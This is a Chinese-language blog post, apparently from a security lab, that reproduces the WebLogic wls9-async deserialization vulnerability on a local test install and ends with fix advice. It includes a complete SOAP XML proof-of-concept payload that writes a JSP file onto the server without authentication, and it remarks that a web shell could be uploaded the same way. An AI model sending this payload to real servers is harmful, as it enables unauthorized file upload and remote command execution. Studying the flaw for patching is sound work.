Weblogic反序列化漏洞复现

释放双眼,带上耳机,听听看~!

0x00 WebLogic 12.1.3

WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。

wls9-async组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

安装好weblogic服务。

然后访问目标:

http://127.0.0.1:7001/_async/AsyncResponseService

出现如下界面则可能存在漏洞。

0x01复现过程

(1).使用burp抓包上传我们的POC。将GET改为POST,再加上content-type: text/xml

POC是在

AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/sh.jsp下生成个jSP文件。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" ><object ><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/sh.jsp</string><void method="println"><string><![CDATA[success]]></string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

(2).当返回202时,可以去验证漏洞是否成功利用。


然后访问:

http://127.0.0.1:7001/bea_wls_internal/sh.jsp

则漏洞已生效。

未授权情况下成功上传了sh.jsp,这个只是输出  我们也可以上传shell。


0x02修复建议

(1)可通过配置访问控制策略禁止非法用户访问以下路径;

(2)删除wls9_async_response.warwls-wsat.war文件及相关文件夹,并重启 Weblogic 服务;

(3)本次漏洞绕过只生效于JDK6,可升级JDK版本至JDK7及以上。


0x03总结思考

      在发现一个新的漏洞时,我们需要去搭建环境进行测试,没有POC时可以在网上查找,或者向大佬要。我们的目的只是去验证漏洞,而不是恶意利用漏洞获取利益。当成功复现漏洞存在时在以后发现此漏洞就知道如何去修复了。

本文源自微信公众号:弥天安全实验室

人已赞赏
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
今日签到
有新消息 消息中心
有新私信 私信列表
搜索